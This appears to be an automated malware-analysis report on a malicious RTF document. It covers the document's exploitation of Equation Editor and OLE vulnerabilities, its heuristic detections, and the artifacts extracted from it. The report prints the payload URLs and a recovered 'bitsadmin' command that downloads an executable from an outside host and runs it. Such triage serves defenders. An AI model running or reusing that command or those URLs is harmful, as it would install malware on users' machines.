RTF malware analysis — malicious · 1b6a7e2585e8aa5b

MALICIOUS

RTF

121.3 KB Created: 2018-09-01 14:04:00 First seen: 2019-04-18

MD5: 04ab9e2f7aea66a1d11f586764622e71 SHA-1: b151e7a28be9c26f4ced3a361216ff3867b83c15 SHA-256: 1b6a7e2585e8aa5b547d2bda7bcc2fd869dcca8d7ac8f8d31073ed30d80afed4

302 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 and CVE-2017-8759, which are known to facilitate arbitrary code execution. The file also contains an embedded OLE object and a hidden package, both of which are suspicious. The presence of extracted artifacts and URLs suggests the file is designed to download and execute a second-stage payload, likely a Windows executable.

Heuristics 8

CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759

RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514

RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://b.coka.la/cQhQC1.exe In RTF body
- https://b.coka.la/O8CMAu.jpgIn RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000bbc2.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xBBC2	15956 bytes
SHA-256: `e979f4babbf78f5f56a06b7f116c99b514c225b183d39fbaebbdad9ca0619fbf`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://b.coka.la/cQhQC1.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer ss /priority foreground https://b.coka.la/cQhQC1.exe %USERPROFILE%\document.exe && start %USERPROFILE%\document.exe & bitsadmin /transfe
`rtf_svb_00003185.zip`	rtf-svb-package	RTF \svb hex-decoded ZIP at offset 0x3185	1774 bytes
SHA-256: `2e49f4fe0b48c06e33c35e8580ee650a70753e345216509b2ef583221f073319`

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